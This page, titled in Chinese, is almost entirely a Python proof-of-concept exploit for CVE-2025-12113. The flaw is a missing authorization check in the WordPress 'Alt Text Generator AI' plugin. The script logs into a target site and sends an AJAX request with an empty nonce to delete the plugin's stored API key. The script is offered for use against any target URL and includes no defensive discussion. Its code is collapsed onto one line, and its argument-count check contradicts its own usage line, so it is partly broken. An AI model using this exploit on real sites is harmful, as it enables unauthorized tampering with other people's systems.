CVE-2025-12113 WordPress Alt Text Generator AI插件未授权API密钥删除漏洞

import requests import sys # CVE-2025-12113 PoC - Unauthorized API Key Deletion # Affected: Alt Text Generator AI plugin <= 1.8.3 def exploit(target_url, username, password): """Exploit missing authorization in atgai_delete_api_key() function""" # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Delete API key via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'atgai_delete_api_key', 'nonce': '' # May not require nonce due to missing check } resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200: print("[+] API Key deletion request sent") print(f"[+] Response: {resp.text}") return True else: print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])